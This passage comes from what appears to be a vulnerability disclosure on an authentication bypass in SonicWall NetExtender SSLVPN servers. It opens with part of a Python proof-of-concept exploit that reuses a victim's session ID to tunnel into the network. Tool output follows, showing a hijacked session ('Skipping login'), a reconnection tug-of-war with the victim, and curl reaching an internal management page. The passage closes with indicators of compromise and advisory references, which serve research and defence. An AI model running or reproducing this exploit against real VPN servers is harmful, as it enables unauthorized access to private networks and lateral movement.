            'X-SSLVPN-SERVICE': 'NETEXTENDER',
            'Proxy-Authorization': session_id,
            'X-NX-Client-Platform': 'Linux',
            'Connection-Medium': 'MacOS',
            'X-NE-PROTOCOL': '2.0',
            'Frame-Encode': 'off',
        }

        buf = 'CONNECT localhost:0 HTTP/1.0\r\n'
        buf += '\r\n'.join('%s: %s' % h for h in headers.items())
        buf += '\r\n\r\n'
        self.s.sendall(buf.encode('ascii'))

        self.s.setblocking(0)

        self.buf = b''
        self.wbuf = b''

    def fileno(self):
        return self.s.fileno()

    def read_to(self, target_fd):
        while True:
            try:
                data = self.s.recv(8192)
                if len(data) == 0:
                    return
                self._handle_data(data, target_fd)
            except ssl.SSLWantReadError:
                return

    def write_from(self, src_fd):
        try:
            data = os.read(src_fd, 8192)
        except OSError:
            return True # EOF from pppd

        self.write(data)

    def _handle_data(self, data, target):
        self.buf += data

        while len(self.buf) > 4:
            if self.buf[:4] == b'HTTP':
                # wait for entire line if needed
                if not b'\r\n' in self.buf:
                    return
                lines = self.buf.split(b'\r\n')
                parts = lines[0].split(b' ', 3)
                logging.error('Server returned error: %s' % parts[-1].decode('utf-8', errors='replace'))
                sys.exit(1)

            plen, = struct.unpack('>L', self.buf[:4])
            if len(self.buf) < 4 + plen:
                return

            os.write(target, self.buf[4:4+plen])
            self.buf = self.buf[4+plen:]

    def write(self, data):
        self.wbuf += data
        self.write_pump()

    @property
    def writes_pending(self):
        return len(self.wbuf) > 0

    def write_pump(self):
        while len(self.wbuf):
            packet = self.wbuf[:self.options.max_line]
            buf = struct.pack('>L', len(packet)) + packet
            self.s.sendall(buf)
            self.wbuf = self.wbuf[len(packet):]

    def close(self):
        self.s.close()

Let’s see this in action.

# nxBender -s 192.168.154.137 -P 4433 --swap 'uereprosechechoswahothospacapepY'
INFO     Skipping login >:)
INFO     Starting session...
INFO     Victim user = "john"
INFO     Domain name = "LocalDomain"
INFO     Dialing up tunnel...
INFO     Remote routing configured, VPN is up. You are “john”!

A few seconds after this happens, the victim’s client notices it has been kicked off and attempts to reconnect.

Reconnecting

Our attacker system is then kicked off the VPN, so we play tug-of-war with the victim to re-establish access.

INFO     Victim reconnected automatically
INFO     Booted off VPN...
INFO     Skipping login >:)
INFO     Starting session...
INFO     Dialing up tunnel...
INFO     Remote routing configured, VPN is up
[..]
INFO     Victim reconnected automatically
INFO     Booted off VPN...
INFO     Skipping login >:)
INFO     Starting session...
INFO     Dialing up tunnel…
INFO     Remote routing configured, VPN is up
[..]

While the “VPN is up” message is present, the attacker can send and receive packets on the internal network via the hijacked VPN connection. Below, the first curl attempt to access the management interface during the “Booted off VPN…” status fails, but attempting it again while winning the tug-of-war succeeds.

$ curl 'https://192.168.168.168/' -k -v
*   Trying 192.168.168.168:443...
^C
$ curl 'https://192.168.168.168/' -k
<HTML>
<HEAD><TITLE>Page Redirecting</TITLE>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">
</HEAD>
<BODY onLoad="location.href = 'https://192.168.168.168/sonicui/7/login/';">
This page is redirecting! Click <A HREF="https://192.168.168.168/sonicui/7/login/">here</A>
</BODY>
</HTML>

Our proof-of-concept exploit establishes approximately 8-10 seconds of connectivity for every 2-3 seconds of absent connectivity. While this connection is a bit spotty, it’s plenty for an experienced red teamer to move laterally within the target internal network.

Some notes:

This tug-of-war activity is seen as user activity by the client and SSLVPN server, so the default 10 minute user inactivity logout will not take place.

During testing, we observed that the fancier-looking latest NetExtender client will automatically attempt to reconnect if the connection drops, keeping the session alive for tug-of-war. However, the older Java GUI client does not appear to automatically attempt to reconnect. Instead, it will automatically log out, immediately invalidating the stolen session cookie when we hijack the VPN connection. Because of this behavior, during testing, we only demonstrated sustained exploitation against a fake victim using the new client software. Despite this, it’s possible that this behavior could vary depending on the exploitation strategy, version of the server, and configuration of the server.

As noted in comments within the Python exploit, a helper script programmatically injects the target route via /etc/ppp/ip-up for our PoC. However, this could likely be performed directly by the Python script for exploit portability.

Researchers at Bishop Fox reported the public exposure of NetExtender SSLVPN servers in 2024 to be higher than 250,000.

Our decryption of the SonicWall firmware was based on the following researchers’ work:

IOCs

Victim users that have their sessions reused for attacker access will be logged. Based on testing our proof-of-concept exploit, the presence of the event ID 1153 with a suspicious reuse number indicates exploitation.

For example, the message below is shown in user SSLVPN event logs after the user ‘john’ has been targeted with the authentication bypass.

ID: 1153
Event: SSL VPN Session
Message Type: Simple Message String
Message: “User john: Reuse SSLVPN session for the 62 time(s)”

The reuse number varies, but testing resulted in logged numbers that were typically higher than three, and sometimes in the hundreds or thousands.

This IOC might not apply if a stealthy attacker cycles different sessions to keep these logged numbers under a normal threshold. An obvious challenge with that would be that different hijacked users could have the ability to access different network resources. For that reason, this attack pattern would likely be more challenging to operate under.

References

Vendor advisory
ZDI advisory
Bishop Fox blog